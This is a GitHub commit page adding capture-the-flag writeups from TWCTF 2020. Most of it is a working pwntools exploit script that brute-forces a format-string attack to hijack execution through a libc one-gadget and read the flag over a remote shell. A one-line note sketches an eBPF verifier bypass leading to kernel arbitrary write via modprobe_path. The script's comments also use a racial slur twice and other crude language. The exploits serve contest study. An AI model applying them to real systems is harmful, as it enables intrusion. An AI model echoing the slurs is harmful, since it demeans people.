Skip to content

Commit 54bea70

Browse files
committed
twctf writeups
1 parent bb37cb7 commit 54bea70

File tree

7 files changed

+599
-0
lines changed

7 files changed

+599
-0
lines changed

2020/twctf-2020/blindshot/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Use fmt string to transplant libc value on the stack to one gadget and pivot rbp in one shot.

2020/twctf-2020/blindshot/solve.py

+57
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
from pwn import *
2+
import random
3+
4+
while True:
5+
6+
#r = process("./patched")
7+
r = remote("pwn01.chal.ctf.westerns.tokyo", 12463)
8+
9+
r.recvuntil("> ")
10+
11+
#first_pad = main_ret & 0xffff
12+
#first_pad = int(raw_input(), 16) & 0xffff
13+
first_pad = (random.randint(0, 0xfff) << 4) | 0x8
14+
print("brute", hex(first_pad))
15+
# first pad is stack last 2 bytes pad
16+
# second pad is libc off between libc_start_main and one gadget
17+
#first_pad = 0x6908
18+
second_pad = 0xe6ce6 - 0x270b3 - first_pad
19+
20+
# first_pad - 0x28
21+
# first_pad + 0x98
22+
# point rbp to first_pad + 0x90
23+
# first stack pointer nigger
24+
payload = "%c"*16 + "%{}c".format(str(first_pad - 0x28 - 0x10)) + "%hn"
25+
# second stack nigger
26+
payload += "%c"*14 + "%{}c".format(first_pad + 0x98 - (first_pad - 0x28) - 14) + "%hn"
27+
28+
second_pad = 0x10000 + (first_pad + 0x90) - (first_pad + 0x98)
29+
30+
payload += "%{}c".format(str(second_pad))
31+
payload += "%46$hn"
32+
33+
third_pad = (0xe6ce6 - 0x270b3) - (0x10000 + (first_pad + 0x90))
34+
35+
payload += "%{}c".format(str(third_pad))
36+
payload += "%*16$p%48$n"
37+
38+
"""
39+
payload = "%c"*16 + "%{}c".format(str(first_pad - 0x10 - 0x28).zfill(5)) + "%hn"
40+
second_pad = (((first_pad - 0x28) + 0xd0) & 0xffff) + 0x80000 - (first_pad - 0x28)
41+
print("SICE", hex(second_pad))
42+
payload += "%{}c".format(str(second_pad))
43+
payload += "%46$hn"
44+
"""
45+
46+
r.sendline(payload)
47+
r.sendline("echo 'penis'")
48+
a = ""
49+
try:
50+
a = r.recvuntil("penis", timeout=1)
51+
except:
52+
pass
53+
if "penis" in a:
54+
print("SICE")
55+
r.sendline("cat flag*")
56+
r.interactive()
57+
r.close()

2020/twctf-2020/eebpf/README.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Trick validator into mismatch actual values since (4<<62) == 0. use oob array map access and writes to gain arbitrary read/write. Write to modprobe path and win

0 commit comments

Comments
 (0)